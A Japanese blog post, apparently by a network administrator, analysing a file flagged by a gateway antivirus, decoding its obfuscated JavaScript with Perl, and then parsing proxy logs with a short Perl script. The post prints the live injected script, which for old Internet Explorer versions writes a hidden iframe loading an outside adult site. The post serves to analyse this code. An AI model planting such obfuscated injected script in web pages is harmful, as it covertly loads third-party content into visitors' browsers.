ウイルス??

某ゲートウェイ型アンチウイルスで引っかかった人が。

ログを確認すると
Found virus Mal_Hifrm-2 in file clickzsframe.htm
とか出てる。

確認してみると・・・

<script>
    var s='3C696672616D65207372633D22687474703A2F2F7777772E726564686F742D6D696C66732E636F6D2F73742F7468756D62732F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E';
    var o='';
    for(i=0;i<s.length;i=i+2) {
        var c=String.fromCharCode(37);
        o=o+c+s.substr(i,2);
    }
    var v=navigator.userAgent.toLowerCase();
    if ((v.indexOf('msie 6.0') != -1 || v.indexOf('msie 5.') != -1) && v.indexOf('msie 7.') == -1 && v.indexOf('nt 6.') == -1){
        document.write(unescape(o));
    }
</script>
こんなJavaScriptが。
document.write();の部分を調べたかったので、一応確認。

Perlで
$s="3C696672616D65207372633D22687474703A2F2F7777772E726564686F742D6D696C66732E636F6D2F73742F7468756D62732F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E";
$o=pack("H*",$s);
$o=~s/(.)/sprintf("%c%02X",37,unpack("C",$1))/eg;
print $o."\n";
print pack("H*",$s)."\n";
とかやってみる。(こういう文字列処理をやるなら、Perlは便利だ)
どうやら、

%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%72%65%64%68%6F%74%2D%6D%69%6C%66%73%2E%63%6F%6D%2F%73%74%2F%74%68%75%6D%62%73%2F%7A%2F%73%74%61%74%69%63%2E%70%68%70%22%20%68%65%69%67%68%74%3D%22%32%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%20%77%69%64%74%68%3D%22%32%22%3E%3C%2F%69%66%72%61%6D%65%3E
とかいう文字列を、unescape();してdocument.write();に渡している。
結局、IE5かIE6、もしくはIE7でVistaを利用中の場合はHTMLに<iframe src="http://www.redhot-milfs.com/st/thumbs/z/static.php" height="2" style="display:none" width="2"></iframe>を追加する処理。で、動作するとhttp://www.redhot-milfs.com/st/thumbs/z/static.phpをフレームに読み込む。(が、2x2ピクセルしか表示しないので、実際には表示はされない)結局のところ、http://www.redhot-milfs.com/のアクセス数を稼ぐためにユーザに無駄な情報を読み込ませるスクリプトのようだ。たぶん。
別にウイルスとしての特性は無さそうである。

で、その某アンチウイルスゲートウェイのソフトが吐くアクセスログというのが
Date:   08/09/15 3:25:54
Method: PROXY
Server: virus_check_server.hogehoge.com
User:   123.123.123.123
ClientIP:       123.123.123.123
ServerIP:       207.46.106.35
Domain: 217.56.116.45
Path:   gateway/gateway.dll?Action=poll&SessionID=7682346123
----------------------------------
Date:   08/09/15 3:26:55
Method: PROXY
Server: virus_check_server.hogehoge.com
User:   123.123.123.123
ClientIP:       123.123.123.123
ServerIP:       207.46.106.35
Domain: 207.46.106.35
Path:   gateway/gateway.dll?Action=poll&SessionID=80254976235
----------------------------------
Date:   08/09/15 3:27:55
Method: PROXY
Server: virus_check_server.hogehoge.com
User:   123.123.123.123
ClientIP:       123.123.123.123
という形式。grepしづらい・・・(^^;
なんで、ここもPerlで、
foreach (<>) {
  chomp;
  if($_ =~ /---------------------------------/) {
    if($data{"Date"} =~ / 11:3/ && $data{"Path"} =~ /html*$/) {
      foreach (sort keys(%data)) {
        print $_.": ".$data{$_}."\n";
      }
      print "$_\n";
      @data = ();
    }
  } else {
    @buf = split(":", $_, 2);
    $key = shift(@buf);
    $var = shift(@buf);
    $var =~ s/^[\s|\t]*//;
    $data{$key} = $var;
  }
}
こんな事をしてみた。
使うときは
$ cat access.log | perl -e '(上のスクリプト)'
とすると、ログファイルから拡張子がhtmがhtmlで、なおかつ時間が11時30分台のログだけを抜き出して表示する。

GUIから確認するなら、フィルタはかけられるのだけど。訳あってCLIから操作する必要があったので、こんなメンドウな事をする羽目に・・・。

一応、どのクライアントからのアクセスだったかを調べることが目的だったので、用事は済んだけど。。。